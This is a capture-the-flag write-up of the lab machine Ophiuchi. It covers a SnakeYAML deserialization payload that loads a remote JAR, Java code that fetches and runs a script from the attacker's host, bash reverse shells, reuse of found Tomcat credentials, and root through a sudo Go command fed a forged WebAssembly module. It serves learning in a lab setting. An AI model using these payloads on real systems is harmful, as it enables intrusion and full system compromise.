Ophiuchi: 10.10.10.227
Hints
- Getting a foothold requires exploiting a known deserialization vulnerability in a Java YAML library - error messages and Google is your friend!
- Privesc to another user requires finding reused credentials on the target
- Privesc to root is very fun and unique - HackTricks has some good guidance on the method and tools that will help
nmap
Starting with the usual nmap
scan. Interesting ports:
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Apache Tomcat 9.0.38
Some strange nmap results with only ports 22 and 8080 being open. I already knew port 8080 was Tomcat, as I have been targeting a couple of Tomcat machines over the weekend.
8080: Recon
Browsing to port 8080, we find an interesting web app that is an "Online YAML parser".
Entering valid YAML (e.g., Cat: Dog
) into the app gives an error message.
Due to security reason this feature has been temporarily on hold. We will soon fix the issue!
With not much else to look at, ran a gobuster
gobuster dir -t 20 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.10.227:8080 -o gobuster_80_root_medium.log
Some interesting results
manager
: A login to Tomcat Manager web app, which redirects to an error page when you enter non-valid creds.yaml
: The apparently non-functional "Online YAML Parser" that we got on the webserver index page.test
: Returns a 404 when you follow the redirection.
So, there is a manager web app admin panel for the Tomcat installation which we might want to get access to, but have no hints to follow... yet! So, headed back to the "Online YAML Parser" as it takes user input, and we may be able to mess with it! And we can! I entered an apostrophe character ('
) and got a stack track from the web app.
The error was about getting a special character while processing the input, and we get a few interesting details from the stack trace.
- The version of Tomcat is 9.0.38
- The library used for YAML parsing is
org.yaml.snakeyaml
YAML Deserialisation Exploit
Since Tomcat runs Java apps, it comes as no surprise that snakeyaml
is a YAML parser for Java. The project has a BitBucket page, and a Wiki. Started looking for exploits. Thought it was unlikely to get something for Tomcat, as version 9 is pretty new. So targeted snakeyaml
. Doing a search for snakeyaml exploit
found some interesting resources. Top of the list was an article entitled SnakeYaml Deserilization exploited.
The basic premise is how YAML is processed when no sanitization of user input is performed, and how the parser is configured to read the YAML input. Using the payload below, we can get remote code execution. I did a POC test, by setting up a Python HTTP server and attempting a connection back to it to find the fictitious meow.txt
file.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.5:8000/meow.txt"]
]]
]
And got a hit on my Python HTTP server.
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.227 - - [15/Aug/2021 10:36:05] code 404, message File not found
10.10.10.227 - - [15/Aug/2021 10:36:05] "GET /meow.txt HTTP/1.1" 404 -
Following along with the YAML deserialization article, we get a link to a yaml-payload
by artsploit. The project is simple and allows us to edit some Java code, compile the code, and create a JAR file that will run on the target server.
I started by installing OpenJDK on my Kali machine, as it was not available by default on the normal Kali installation (without all tools installed).
sudo apt install -y default-jdk
Next, download the yaml-payload
repo from GitHub.
git clone https://github.com/artsploit/yaml-payload.git
If we have a look at the only file - AwesomeScriptEngineFactory.java
- there are a couple of lines (12 and 13) that we can use as an example and modify to execute some code.
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
Looks like we can edit this to run the commands we want, most likely a reverse shell to get a foothold on the server. I haven't done much Java in a while, so getting this to work took a little trial and error. Here are a couple of things I tried.
- Using a bash reverse shell
- Using a netcat reverse shell
None of these worked. I was thinking it was most likely due to some special character issues. Then I checked the Java reverse shell options from the Reverse Shell Cheat Sheet on Payloads All The Things. This seemed to be very similar to the previous reverse shell attempts, and they also didn't work. I tried both the payload options. For example, the payload below.
Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.10.14.5/9001;cat <&5 | while read line; do $line 2>&5 >&5; done'");
p.waitFor();
The next thing I checked was running a wget
on a non-existent file on my system - similar to how we tried to fetch the meow.txt
before. I could tell from this attempt that we could fetch the file from our machine - as I could see the 200 response on my Python HTTP server. The next idea I had was to avoid using special characters by uploading the reverse shell, then executing it on the target. This would remove the problematic characters from the Java source code.
Started by creating a simple bash reverse shell in a file named rev.sh
.
echo "bash -c 'bash -i >& /dev/tcp/10.10.14.5/9001 0>&1'" > rev.sh
Then modified the Java exploit file.
vim src/artsploit/AwesomeScriptEngineFactory.java
Here is the final block of code I used.
public AwesomeScriptEngineFactory() {
try {
Process p = Runtime.getRuntime().exec("wget http://10.10.14.5:8000/exploits/rev.sh -O /tmp/rev.sh");
p.waitFor();
p = Runtime.getRuntime().exec("bash /tmp/rev.sh");
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
The main flow of the code is:
- Fetch the
rev.sh
file from the webserver (port 8000, in the folder namedexploits
) and save it in the/tmp
folder on the target - Run the
rev.sh
on the target from the/tmp
folder usingbash
- Needed to add in another exception to the
catch
clause ofInterruptedException
so the code would compile
After modifying the code, we can use the info on the project page to compile the project.
javac src/artsploit/AwesomeScriptEngineFactory.java
And finally, make a JAR file.
jar -cvf yaml-payload.jar -C src/ .
At this point, I had a rev.sh
and yaml-payload.jar
file in my exploits
directory. I started a Python HTTP webserver and ran a modified exploit against the "Online YAML Parser" project.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.5:8000/exploits/yaml-payload.jar"]
]]
]
I could see both requests on my Python HTTP server.
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.227 - - [15/Aug/2021 11:00:07] "GET /exploits/yaml-payload.jar HTTP/1.1" 200 -
10.10.10.227 - - [15/Aug/2021 11:00:07] "GET /exploits/yaml-payload.jar HTTP/1.1" 200 -
10.10.10.227 - - [15/Aug/2021 11:00:08] "GET /exploits/rev.sh HTTP/1.1" 200 -
And... got a reverse shell on my netcat listener!
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.227] 38254
bash: cannot set terminal process group (787): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@ophiuchi:/$ id
id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
Privesc: tomcat
to admin
Ran some linpeas while enumerating manually. I was kind of proud that I found the tomcat-users.xml
file without relying on linpeas results. Think I am getting better at Tomcat! Anyway, here is the linpeas output.
╔══════════╣ Analyzing Tomcat Files (limit 70)
-rw-r----- 1 root tomcat 2234 Dec 28 2020 /opt/tomcat/conf/tomcat-users.xml
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
This file is located in /opt/tomcat/conf
, and gave us some credentials for a user named admin
. Looking at the /home
directory and the /etc/passwd
file, we can see a user with a shell named admin
. Coincidence?! Having a quick look at the ssd_config
file, we can see that password logins are enabled, so tried to log in with the discovered credentials.
└─$ ssh admin@10.10.10.227
The authenticity of host '10.10.10.227 (10.10.10.227)' can't be established.
ECDSA key fingerprint is SHA256:OmZ+JsRqDVNaBWMshp7wogZM0KhSKkp1YmaILhRxSY0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.227' (ECDSA) to the list of known hosts.
admin@10.10.10.227's password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-51-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat 14 Aug 2021 11:21:51 PM UTC
System load: 0.03
Usage of /: 20.0% of 27.43GB
Memory usage: 19%
Swap usage: 0%
Processes: 221
Users logged in: 0
IPv4 address for ens160: 10.10.10.227
IPv6 address for ens160: dead:beef::250:56ff:feb9:b6a1
176 updates can be installed immediately.
56 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Jan 11 08:23:12 2021 from 10.10.14.2
admin@ophiuchi:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
Success! And the user flag.
admin@ophiuchi:~$ wc -c user.txt
33 user.txt
Privesc: admin
to root
As usual, started running linpeas while doing some manual enumeration. Right off the bat, found an interesting sudo
entry.
admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on ophiuchi:
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
I have not had much experience with Golang, so this might be exciting! Looks like go
is being called on a specific file in /opt/wasm-functions/
called index.go
. From my knowledge, this is not a compiled Golang executable, rather a source code file that is getting executed from raw code.
Looking at the permissions of the file, we can read the file... but not modify it.
admin@ophiuchi:~$ ls -lisa /opt/wasm-functions/index.go
1321998 4 -rw-rw-r-- 1 root root 522 Oct 14 2020 /opt/wasm-functions/index.go
The file is quite small - just 30 lines. I have included it below for reference.
package main
import (
"fmt"
wasm "github.com/wasmerio/wasmer-go/wasmer"
"os/exec"
"log"
)
func main() {
bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes)
defer instance.Close()
init := instance.Exports["info"]
result,_ := init()
f := result.String()
if (f != "1") {
fmt.Println("Not ready to deploy")
} else {
fmt.Println("Ready to deploy")
out, err := exec.Command("/bin/sh", "deploy.sh").Output()
if err != nil {
log.Fatal(err)
}
fmt.Println(string(out))
}
}
Doing some research I found the Go package that was not part of the standard library - the wasmer
package. This package seems like it is used for WebAssemly... not sure what that was?! Looking at the WebAssembly MDN page, they provide a nice summary.
WebAssembly is a new type of code that can be run in modern web browsers — it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages such as C/C++, C# and Rust with a compilation target so that they can run on the web. It is also designed to run alongside JavaScript, allowing both to work together.
If we skip past all the technical stuff, we can see that there is a point in the program where something is deployed using the deploy.sh
file. When the result of the program initialization equals 1, this bash script is run. It seems like the return value is based on the main.wasm
file, which is read then an instance created. If we run the program now - we can see it doesn't get to the "Ready to deploy" part.
admin@ophiuchi:/opt/wasm-functions$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Not ready to deploy
Luckily for us, both the main.wasm
and deploy.sh
files are not called using an absolute path, so we can run the command from a different directory and use our own modified main.wasm
and deploy.sh
files. This is important, as the admin
user cannot modify either of these files. The premise:
- Modify
main.wasm
to return1
- Modify the
deploy.sh
script to run something we want - Put both files in a different folder, e.g.,
/tmp
- Run the existing allowed
sudo
command from the different folder
Luckily, for a WebAssembly noob like me, HackTricks has an article on Wasm decompiler / Wat compiler. FYI - I figured we needed to decompile, as the main.wasm
file is binary!
admin@ophiuchi:/opt/wasm-functions$ file main.wasm
main.wasm: WebAssembly (wasm) binary module version 0x1 (MVP)
HackTricks told me I could decompile the wasm file to clear text using the wasm2wat online tool. I saved the main.wasm
file from the target machine to mine and uploaded it to this online tool.
As you can see in the screenshot - there is an interger with the value of 0
being returned. I changed this value to 1
, so that we always return 1
. I have included the decompile code snippet below:
(module
(type $t0 (func (result i32)))
(func $info (export "info") (type $t0) (result i32)
(i32.const 1))
(table $T0 1 1 funcref)
(memory $memory (export "memory") 16)
(global $g0 (mut i32) (i32.const 1048576))
(global $__data_end (export "__data_end") i32 (i32.const 1048576))
(global $__heap_base (export "__heap_base") i32 (i32.const 1048576)))
At this point, we can use the wat2wasm tool to convert the code we just modified back to a binary wasm file! Magic! I copy-pasted the code into the "WAT" section and downloaded the wasm file using the Download button. It was saved, by default, as test.wasm
- so I renamed it to main.wasm
.
The next step is to create something to replace the deploy.sh
script. I used a reverse shell as it seemed the easiest - but there are many options here to elevate privilege to root.
echo "bash -c 'bash -i >& /dev/tcp/10.10.14.5/9001 0>&1'" > deploy.sh
In the next step, we need to copy the main.wasm
and deploy.sh
files to the server. I choose to save both in the /tmp
folder.
admin@ophiuchi:/opt/wasm-functions$ cd /tmp/
admin@ophiuchi:/tmp$ wget http://10.10.14.5:8000/deploy.sh
--2021-08-15 00:00:04-- http://10.10.14.5:8000/deploy.sh
Connecting to 10.10.14.5:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 51 [text/x-sh]
Saving to: ‘deploy.sh’
deploy.sh 100%[==============================================>] 51 --.-KB/s in 0s
2021-08-15 00:00:04 (6.30 MB/s) - ‘deploy.sh’ saved [51/51]
admin@ophiuchi:/tmp$ wget http://10.10.14.5:8000/main.wasm
--2021-08-15 00:00:10-- http://10.10.14.5:8000/main.wasm
Connecting to 10.10.14.5:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 523 [application/wasm]
Saving to: ‘main.wasm’
main.wasm 100%[==============================================>] 523 --.-KB/s in 0.004s
2021-08-15 00:00:10 (138 KB/s) - ‘main.wasm’ saved [523/523]
With both modified files uploaded to the target, enter the tmp
directory (where we saved the modified file) and run the sudo
command.
admin@ophiuchi:/tmp$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy
Since we ran a reverse shell, the console hangs. But if we navigate to our netcat listener, we can see we got a connection back, and are the root user.
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.227] 38282
root@ophiuchi:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ophiuchi:/tmp# wc -c /root/root.txt
wc -c /root/root.txt
33 /root/root.txt
Done!
Lessons Learned
- Getting better at focusing on likely targets and finding exploits using a combination of
searchsploit
and Google - Remember, again! - uploading a shell in a script is a good way to avoid character encoding errors when getting a reverse shell
- Modifying the existing code might be easier than making an entire new file - this was apparent when doing the privesc to root using the
main.wasm
file